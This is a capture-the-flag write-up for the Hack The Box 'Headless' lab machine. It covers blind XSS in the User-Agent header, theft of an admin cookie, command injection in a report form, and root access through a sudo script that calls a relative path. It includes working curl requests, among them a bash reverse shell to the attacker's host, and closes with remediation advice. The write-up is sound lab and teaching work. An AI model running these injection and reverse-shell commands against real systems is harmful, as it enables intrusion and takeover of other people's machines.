Headless writeup
Difficulty: Easy
OS: Linux
Overview: Headless is an easy-difficulty Linux machine that features a Python Werkzeug server hosting a website. The website has a customer support form, which is found to be vulnerable to blind Cross-Site Scripting (XSS) via the User-Agent header. This vulnerability is leveraged to steal an admin cookie, which is then used to access the administrator dashboard. The page is vulnerable to command injection, leading to a reverse shell on the box. Enumerating the user’s mail reveals a script that does not use absolute paths, which is leveraged to get a shell as root.
Link: https://app.hackthebox.com/machines/Headless?sort_by=created_at&sort_type=desc
Machine IP: 10.129.8.19
Scanned the machine with Rustscan.
rustscan -a 10.129.8.19 --ulimit 5000 -b 2000 -- -A -Pn


Checked out the http server.

Right away this reminded me of Shellshock but no suck if that would be the attack avenue. Kicked off feroxbuster.
feroxbuster -u http://10.129.8.19:5000/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

Nothing interesting in robots.txt or source code. The For questions buttons brings us to a new page.

I was playing around with some XSS and looks like I was flagged.

This looks vulnerable to XSS. Something that would be interesting to find is the proper Cookie that gives us additional access, specifically to /dashboard that feroxbuster found. Currently this is catching our header though. Popped up an http listener and after some testing we were able to get the admin cookie.
curl -X POST http://10.129.8.19:5000/support \
-H "User-Agent: " \
--data-urlencode "fname=test" \
--data-urlencode "lname=test" \
--data-urlencode "email=test@test.com" \
--data-urlencode "phone=1234567890" \
--data-urlencode "message=killmepls"
Didn’t get a screenshot and this must be on some timer because rerunning the command I don’t get it. This was the response though is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0.
I added it to my cookie value in Storage Dev tools, refreshed and we get access to the Administrator Dashboard.

It looks like we can generate reports from this page. When running this it tells us the ‘Systems are up and running!’ This is likely running some command on the backend. In the input field I won’t be able to put a command. Confirmed with ‘id’.
curl -X POST http://10.129.8.19:5000/dashboard \
-H "Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0" \
--data-urlencode "date=2023-09-15;id""

Now we try and get a shell. After a bit of testing this worked:
curl -X POST http://10.129.8.19:5000/dashboard \
-H "Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0" \
--data-urlencode "date=2023-09-15;bash -c 'bash -i >& /dev/tcp/10.10.14.42/1337 0>&1'"”


Got user.txt

Ran sudo -l and we see /usr/bin/syscheck.

I checked GTFObins but it looks like it’s not a built in linux binary. I was able to read the file though.

As ./initdb.sh is calling the relative path and not an absolute path we can take advantage of that. Created my own initdb.sh that would get us root, ran the binary and we’re root.


GG
Full Attack Chain Summary

Key Takeaways
Trust no input — including headers. Most devs sanitize form fields but forget that User-Agent, Referer, and X-Forwarded-For are also attacker-controlled. Anything the server logs and later renders is an injection point.
Blind XSS is powerful precisely because you never see it fire. The payload lives in a log, gets rendered later in a different context (the admin panel), and executes there. Traditional XSS scanners often miss this entirely.
Session cookies without HttpOnly are trivially stealable. One flag would have broken the entire chain at step 4.
Relative paths in privileged scripts are a classic privesc. ./initdb.sh means “look in whatever directory I’m currently in” — an attacker controls that.
Remediations
Blind XSS — sanitize all HTTP headers before storing or rendering them. Use a Content Security Policy (CSP) to restrict what scripts can execute and where they can send data.
Cookie theft — set HttpOnly and Secure flags on session cookies. HttpOnly makes cookies inaccessible to JavaScript entirely.
Command injection — never pass user input directly to a shell. Use parameterized commands or a proper library (Python’s subprocess with a list, not a string).
Privilege escalation — always use absolute paths in scripts that run with elevated privileges. Audit sudo rules regularly and apply least privilege — dvir had no business running a system health script as root.
Leave a comment